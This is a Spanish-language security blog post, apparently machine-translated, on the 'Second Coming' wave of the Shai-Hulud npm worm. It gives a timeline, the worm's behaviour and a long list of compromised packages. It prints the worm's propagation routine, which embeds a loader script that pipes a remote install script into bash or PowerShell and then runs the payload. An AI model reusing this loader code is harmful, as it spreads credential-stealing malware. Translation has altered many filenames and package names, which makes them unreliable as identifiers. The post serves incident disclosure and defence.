Es otra mañana de lunes, sentado frente al ordenador. Y veo una pila de alertas de la última hora de paquetes que muestran signos de malware en nuestra cola de triaje. Sin haber terminado aún mi primera taza de café, veo indicadores de Shai Hulud. Vaya, ¿seguro que es un falso positivo? No, bienvenido al lunes, Shai Hulud ha vuelto a atacar. Prepárate.
Cronología de la campaña Shai-Hulud
El momento es significativo, dado el reciente anuncio de npm de que revocará los tokens clásicos el 9 de diciembre tras la oleada de ataques a la cadena de suministro. Dado que muchos usuarios aún no han migrado a la publicación de confianza, el atacante aprovechó el momento para lanzar un último ataque antes de la fecha límite de npm.
- 27 de agosto: publicamos nuestro informe detallado sobre la campaña S1ngularity dirigida a varios paquetes nx en npm.
- 16 de septiembre: el atacante vuelve a la carga y lanza la primera oleada de ataques Shai-Hulud.
- 18 de septiembre: publicamos un análisis de seguimiento en el que profundizamos en las peculiaridades técnicas de la campaña y el comportamiento inicial de la carga útil.
- 24 de noviembre: se produce un segundo ataque, bautizado como «Second Coming» (Segunda venida) por los atacantes, justo antes de la fecha límite fijada por npm para revocar los tokens antiguos.
¿Qué es Shai-Hulud?: Un repaso rápido
Shai-Hulud, llamado así por los gigantescos gusanos de arena de Dune como parte del gusto del atacante por lo teatral, es un gusano npm autorreplicante creado para propagarse rápidamente a través de entornos de desarrollo comprometidos. Una vez que infecta un sistema, busca secretos expuestos, como claves API y tokens, utilizando TruffleHog, y publica todo lo que encuentra en un repositorio público de GitHub. A continuación, intenta enviar nuevas copias de sí mismo a npm, lo que le ayuda a propagarse por todo el ecosistema, mientras filtra datos al atacante. Siguiendo con la temática dramática, el atacante se refiere a esta última oleada como la «Segunda Venida».
Diferencias con respecto a la última vez
En esta ocasión, hay algunas diferencias significativas en el ataque:
- Instala bun con el archivo
configuración_bun.jsy luego lo utiliza para ejecutarbun_entorno.jsque es el código malicioso real. - Crea un repositorio con un nombre aleatorio con los datos robados, en lugar de un nombre codificado.
- Infeccionará hasta 100 paquetes npm, en comparación con los 20 de la última vez.
- Si no puede autenticarse con GitHub o NPM, borrará todos los archivos del directorio de inicio del usuario.
Filtrar secretos
En esta ocasión, el malware también publica secretos en GitHub, con un nombre aleatorio y la descripción del repositorio:
«Sha1-Hulud: La segunda venida».
Actualmente vemos 26,3 mil repositorios expuestos:

Errores cometidos de nuevo
Mientras analizábamos todos estos paquetes, hemos detectado varios paquetes comprometidos que parecen proceder de la comunidad y que contienen el código inicial de ensayo en configuración_bun.js, pero NO bun_entorno.js que es el propio gusano Shai Hulud. Este es el código que propaga el gusano a otros paquetes:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}Vemos que el bun_entorno.js En ocasiones, puede que no se agrupen, dependiendo de diferentes factores. Parece que los atacantes volvieron a cometer errores. Esto parece haber limitado el impacto del ataque en este momento.
Repositorios GitHub comprometidos
El equipo de AsyncAPI detectó que había una rama de su proyecto CLI, creada justo antes de que se enviaran los paquetes maliciosos, que implementaba una versión del malware Shai Hulud.
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Esto sugiere que los atacantes podrían haber utilizado una técnica similar a la que emplearon para llevar a cabo el ataque original contra Nx.
Las empresas reconocen el incidente.
Dada la naturaleza del incidente, nos alegró mucho ver que las empresas reconocieron rápidamente lo sucedido en publicaciones de estas empresas:
Paciente cero
Detectamos los primeros paquetes a partir del 24/11/2025 a las 3:16:26 a. m. GMT+0, que eran los paquetes go-template y 36 paquetes de AsyncAPI. Muchos otros paquetes se vieron rápidamente comprometidos. Posteriormente, comenzaron a comprometer los paquetes PostHog a las 4:11:55 a. m. GMT+0 del 24/11/2025, y los paquetes Postman a las 5:09:25 a. m. GMT+0 del 24/11/2025.
¿Qué paquetes se ven afectados?
Hemos detectado que los siguientes paquetes se han visto comprometidos con una nueva versión de Shai Hulud. Entre todos estos 492 paquetes, suman un total de 132 millones de descargas mensuales:
- @asyncapi/diff
- @asyncapi/nodejs-ws-plantilla
- plantilla go
- @asyncapi/parsador-de-esquemas-avro
- @asyncapi/convertidor
- @asyncapi/dotnet-rabbitmq-plantilla
- @asyncapi/filtros-nunjucks
- @asyncapi/parsador-de-esquemas-protobuf
- @asyncapi/problema
- @asyncapi/optimizador
- @asyncapi/python-paho-plantilla
- @asyncapi/multi-parser
- @asyncapi/empaquetador
- @asyncapi/plantilla-php
- asyncapi-vista previa
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/generador-ayudantes
- @asyncapi/plantilla-java
- @asyncapi/componente-react
- @asyncapi/generador
- @asyncapi/api-servidor
- @asyncapi/java-spring-plantilla
- @asyncapi/cli
- @asyncapi/componente-web
- @asyncapi/especificaciones
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/plantilla-html
- @asyncapi/go-watermill-plantilla
- @asyncapi/analizador-de-esquemas-openapi
- @asyncapi/edavisualiser
- @asyncapi/generador-componentes
- plantilla-dotnet
- @asyncapi/guardador
- acción-de-github-para-generador
- @asyncapi/plantilla-nodejs
- @asyncapi/plantilla-markdown
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- prueba23112222-api
- @asyncapi/generador-react-sdk
- @quick-start-soft/quick-markdown-compose
- mini aplicación escudo de hierro
- sistema-de-facturación-manual-miniapp-api
- Límite de Shinhan: eliminación
- @strapbuild/react-native-perspective-image-cropper
- react-native-uso-modal
- @inicio-rápido-soft/tarea-rápida-refinar
- @strapbuild/react-native-selector-de-fecha-y-hora
- @strapbuild/react-native-perspective-image-cropper-2
- crear-aplicación-glee
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/estudio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/eliminar-rápidamente-el-fondo-de-una-imagen
- eslint-config-zeallat-base
- corea-área-administrativa-geo-json-util
- @quick-start-soft/traductor-rápido-de-documentos
- axios-constructor
- posthog-nodo
- @posthog/rastreador-de-eventos-por-primera-vez
- @posthog/complemento-temporizador-secuencia-de-eventos
- @posthog/gitub-star-sync-plugin
- posthog-plugin-hola-mundo
- @posthog/bitbucket-release-tracker
- @posthog/complemento-maxmind
- @posthog/complemento-postgres
- @posthog/complemento-twilio
- @posthog/cli
- @posthog/clickhouse
- @posthog/complemento-de-exportación-snowflake
- posthog-react-native-reproducción-de-sesiones
- @posthog/componentes-de-propiedad-de-eventos-de-gota
- @posthog/complemento-de-seguimiento-de-lanzamientos-de-github
- @posthog/iconos
- @posthog/complemento geoip
- @posthog/complemento-intercom
- @posthog/complemento-eliminador-de-duplicados
- @posthog/react-rrweb-player
- complemento-de-eventos-en-propiedad
- @posthog/complemento-de-alerta-de-ingestión
- @posthog/complemento-kinesis
- @posthog/complemento-altavoz
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/complemento-de-cohortes-automáticas
- @posthog/migrator3000-plugin
- @posthog/plugin-pagerduty
- @posthog/complemento-contrib
- @posthog/complemento-sendgrid
- @posthog/complemento-cliente
- @posthog/rrweb-utils
- @posthog/complemento-taxonomía
- @posthog/complemento-zendesk
- @posthog/netdata-procesamiento-de-eventos
- @posthog/normalizador-de-URL-plugin
- posthog-docusaurus
- @posthog/complemento-de-normalización-monetaria
- @posthog/filtro-de-exclusión-de-complementos
- @posthog/complemento-heartbeat
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/complemento-databricks
- @actbase/react-native-kakao-channel
- cálculo-préstamo-interés
- @actbase/react-absoluto
- @actbase/react-daum-código postal
- @actbase/react-native-vídeo-simple
- @posthog/núcleo
- @posthog/limón-ui
- @seung-ju/siguiente
- @seung-ju/react-hooks
- posthog-react-native
- @actbase/css-a-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agente
- @posthog/complemento-varianza
- servidor-bot-discord
- @posthog/rrweb-replay
- @posthog/rrweb-instantánea
- @actbase/servidor-de-nodo
- @actbase/react-native-devtools
- @posthog/servidor-de-complementos
- @posthog/rrweb-registro
- @actbase/nativo
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/servidor-de-desarrollo-web
- @posthog/piscina
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/asistente
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/complemento-seguidores-de-twitter
- @actbase/react-native-naver-login
- @seung-ju/generador-de-openapi
- @posthog/rrdom
- @posthog/modo erizo
- Funciones de worklet de React Native
- exposición-audio-sesión
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/nodo-keytar
- @postman/agente-de-túnel
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-servidor
- @postman/wdio-junit-reporter
- @postman/iconos-aether
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/mi-lib-angular
- complemento-de-condensador-seguimiento-de-aplicaciones-ios
- compra-de-complemento-de-condensador
- historial-de-compras-de-condensadores
- capacitor-grabadora-de-voz-wav
- scgs-condensador-suscribirse
- @postman/mcp-ui-client
- complemento-condensador-iniciar-sesión-con-Google
- @kvytech/medusa-plugin-anuncio
- @kvytech/medusa-plugin-reseñas-de-productos
- medusa-plugin-zalopay
- creador de scgsff
- @kvytech/habbit-prueba-e2e
- medusa-plugin-registros
- medusa-plugin-reseñas-de-productos-kvy
- @kvytech/promoción-del-complemento-medusa
- medusa-plugin-momo
- @kvytech/componentes
- medusa-plugin-anuncio
- @kvytech/cli
- @kvytech/medusa-plugin-boletín informativo
- @kvytech/gestión-de-complementos-medusa
- @kvytech/web
- crear-aplicación-casco-de-seguridad-3
- prueba-casco-de-seguridad-app
- evm-checkcode-cli
- gate-evm-herramientas-prueba
- comprueba-código-evm-puerta2
- tipos-web-htmx
- aplicación-de-pruebas-fundición
- tipos-web-lit
- complemento-bun-archivo-http
- abrir2internet
- vite-plugin-archivo-http
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/lista negra
- @ensdomains/durin
- @ensdomains/renovación
- @ensdomains/cypress-metamask
- verificador-de-código-binary-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-leer-puerta-de-enlace-dns
- @ensdomains/ccip-leer-trabajador-cf
- @ensdomains/dnssec-oráculo-anclajes
- @ensdomains/registros inversos
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registrador
- @ensdomains/widget-de-renovación
- codec de dirección criptográfica
- @ensdomains/solsha1
- @ensdomains/análisis-del-servidor
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/simulación
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/casquero-chai-comparadores-viem
- @ensdomains/ccip-lector-trabajador-viem
- @zapier/lista-de-navegadores-configuración-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-almacenamiento-asíncrono
- @zapier/acciones-de-IA
- @zapier/integración-mcp
- spectral
- @ensdomains/codificador-de-direcciones
- kit de enrutador redux
- @ensdomains/eth-ens-namehash
- scripts de Zapier
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-plataforma-legado-ejecutor-de-scripts
- esquema-de-la-plataforma-zapier
- @ensdomains/dnssecoraclejs
- zapier-plataforma-núcleo
- @ensdomains/contratos-de-resolución-de-op
- @ensdomains/ens-contratos-archivados
- @ensdomains/ensjs
- @ensdomains/registrador-de-subdominios
- @ensdomains/puertas de enlace irremovibles
- @ensdomains/web3modal
- zapier-plataforma-cli
- @ensdomains/ens-contratos
- @ensdomains/react-ens-address
- @ensdomains/curvearithmetics
- @zapier/limpiador-secreto
- @ensdomains/caja-de-herramientas-de-casco-de-seguridad-viem-extended
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/contenido-hash
- @ensdomains/ens-avatar
- @zapier/acciones-de-IA-reaccionar
- @zapier/eslint-plugin-zapier
- @ensdomains/contratos-resolucion-fuera-de-cadena
- @ensdomains/ens-validación
- @ensdomains/envoltura-de-nombre
- @hapheus/n8n-nodos-pgp
- @markvivanco/verificador-de-versión-de-aplicación
- actualizador-de-tokens-claude
- n8n-nodos-tmdb
- devstart-cli
- uso de habilidades
- @mcp-use/inspector
- zuper-sdk
- zuper-stream
- @mcp-uso/mcp-uso
- crear-mcp-usar-aplicación
- mcp-uso
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- instrucciones de la CPU
- servidor lite-serper-mcp
- @louisle2/núcleo
- navegador jan
- ticker exacto
- Configuración de la biblioteca React
- jabón orbital
- @orbitgtbelgium/mapbox-gl-dibujar-escala-girar-modo
- token.js-bifurcación
- etiquetadores de componentes React
- @louisle2/cortex-js
- orbit-nebula-editor
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/nodo-soap
- eslint-config-trigo
- @trigo/expresiones-booleanas
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-enlace firmado
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- matriz
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- iconos de órbita
- matriz-mangosta
- expresiones booleanas
- react-element-prompt-inspector
- trigo-react-aplicación
- @trigo/trigo-hapijs
- @trigo/fsm
- comando-irail
- @orbitgtbelgium/mapbox-gl-dibujar-polígono-cortado-modo
- @trigo/atrix-postgres
- @orbitgtbelgium/deslizador de tiempo
- @orbitgtbelgium/componentes-orbit
- herramientas-para-dibujar-nebulosas-en-órbita
- tipo de órbita
- @mparpaillon/conector-parse
- @mparpaillon/imágenes cargadas
- @desplazamiento/datos-del-mercado
- gitsafe
- @osmanekrem/gestor-de-errores
- @desplazamiento/florecer
- okta
- estudio de diseño uiux
- itobuz-angular
- @ifelsedeveloper/contratos-de-protocolo-svm-idl
- botón ito
- @dev-blinq/cliente_cucumber
- blinqio-ejecuciones-cli
- itobuz-angular-auth
- @dev-blinq/ai-qa-lógica
- axios-temporizado
- react-native-correo electrónico
- tenaz-buscar
- puerto de eliminación
- Jacob Zuma
- luno-api
- @lessondesk/eslint-config
- ordenar por distancia
- acabo de tostar
- imagen-a-uri
- llamada-telefónica-react-native
- formik-error-enfoque
- enlaces jQuery
- @lessondesk/babel-preset
- css básico
- coinmarketcap-api
- licencia-o-mática
- @varsityvibe/cliente-api
- pico-uid
- hiperterm-hipster
- establecer-propiedad-anidada
- bytes a x
- nombre-de-la-rama-de-aplicación
- fittxt
- obtener-los-argumentos
- react-native-retriable-fetch
- autocompletar-seleccionar-esbelto
- característica-flip
- lint-staged-imagemin
- react-native-visor
- tienda formik
- shell-exec
- nivel-de-registro-react-native
- @everreal/análisis-web
- iconos react-native-jam
- @thedelta/eslint-config
- complemento-de-paquetes-copiador-de-activos
- react-native-websocket
- ra-datos-firebase
- react-jam-iconos
- react-native-fetch
- @ifings/sistema-de-diseño
- complemento-gatsby-cname
- @alexcolls/nuxt-ux
- react-native-selector-de-fecha-modal
- sin tipo definido
- descargas-de-extensiones-de-chrome
- socket.io
- buscador difuso
- sa-número-de-registro-de-la-empresa-regex
- apilamientos de solapas
- react-keycloak-contexto
- react-qr-imagen
- @tiaanduplessis/react-progressbar
- @lessondesk/autobús escolar
- @tiaanduplessis/json
- react-native-obtener-dimensiones-de-píxeles
- nanoreset
- dependencia circular siguiente
- codificar-decodificar URL
- axios-cancelable
- comparar-objeto
- guiño
- haufe-axera-api-cliente
- obj-a-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/esquemas-de-validación
- aplanar-desaplanar
- stoor
- @clausehq/flujos-paso-jsontoxml
- @accordproject/análisis-de-concierto
- esperanza-mapboxdraw
- cuenta atrás
- esperanza
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/complemento-browser-sync
- generador-meteoro-stock
- @fishingbooker/react-loader
- benmostyn-marco-impresión
- @fishingbooker/react-paginación
- @voiceflow/antropológico
- @voiceflow/tipos-de-voz
- @voiceflow/envoltorios-de-solicitudes-predeterminadas
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/prueba-común
- @voiceflow/husky-config
- @voiceflow/configuración de commitlint
- @voiceflow/git-branch-check
- tienda normal
- @voiceflow/configuración-prettier
- @voiceflow/stylelint-config
- plantilla vf-oss
- @voiceflow/configuración-del-libro-de-cuentos
- @voiceflow/verror
- @voiceflow/tipos-de-alexa
- @voiceflow/nestjs-timeout
- @voiceflow/complemento-sin-servidor-typescript
- @voiceflow/tipos-de-voiceflow
- shelf-jwt-sesiones
- @hover-diseño/react
- @voiceflow/tipos-básicos
- @voiceflow/eslint-config
- @voiceflow/obtener
- @voiceflow/común
- @voiceflow/eslint-plugin
- @voiceflow/excepción
- @voiceflow/dtos-interact
- @voiceflow/google-tipos
- @voiceflow/nestjs-común
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-límite-de-velocidad
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- reductora compuesta
- adaptador bidireccional
- @antstackio/express-graphql-proxy
- @antstackio/json-a-graphql
- @voiceflow/parser de cuerpo
- @voiceflow/registrador
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-componente/núcleo
- @pruthvi21/usar-debounce
- @voiceflow/api-sdk
- @hover-diseño/núcleo
- @faq-componente/react
- @voiceflow/configuración-semántica-de-lanzamiento
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializador
- @voiceflow/google-dfes-tipos
- n8n-nodos-aplicación-viral
- @proyecto-acuerdo/markdown-docx
- @clausehq/flujos-paso-enviar-correo-electrónico-sendgrid
- @lpdjs/servicio-de-repositorio-firestore
- @trefox/sleekshop-js
- factura
- jsonsurge
- mon-paquete-react-typescript
- rediff
- solomon-api-historias
- solomon-v3-historias
- solomon-v3-envoltura-de-interfaz-de-usuario
- tcsp-dibujar-prueba
- uplandui
Impacto potencial de Shai-Hulud: Segunda venida
Los actores maliciosos han introducido código malicioso en cientos de paquetes NPM, incluidos los principales de Zapier, ENS, AsyncAPI, PostHog, Browserbase y Postman. Si un desarrollador instala uno de estos paquetes maliciosos, el malware se ejecuta silenciosamente durante la instalación, antes incluso de que esta haya finalizado. Esto le da acceso al equipo del desarrollador, a los sistemas de compilación o al entorno en la nube. A continuación, utiliza una herramienta automatizada (TruffleHog) para buscar información confidencial, como contraseñas, claves API, tokens en la nube y credenciales de GitHub o NPM. Todo lo que encuentra se sube a un repositorio público de GitHub denominado «Sha1-Hulud: The Second Coming». Si esos secretos robados incluyen el acceso a repositorios de código o registros de paquetes, los atacantes pueden utilizarlos para entrar en más cuentas y publicar más paquetes maliciosos, lo que contribuye a que el ataque se extienda aún más. Dado que se han visto afectados ecosistemas de confianza y millones de descargas, cualquier equipo que utilice NPM debe comprobar inmediatamente si se ha visto afectado y cambiar cualquier credencial que pueda haberse filtrado.
¿Qué medidas deben tomar los equipos de seguridad?
- Auditar todas las dependencias y versiones npm relacionadas con Zapier/ENS.
- Rote todos los secretos de GitHub, npm, la nube y CI/CD utilizados durante las instalaciones.
- Busca en GitHub repositorios extraños con la descripción «Sha1-Hulud: The Second Coming».
- Desactivar npm
postinstalaciónscripts en CI siempre que sea posible. - Fijar las versiones de los paquetes y aplicar la autenticación multifactorial (MFA) en las cuentas de GitHub y npm.
- Utiliza herramientas como Safe-Chain para bloquear paquetes maliciosos en NPM.
Protege tu software ahora.



.avif)
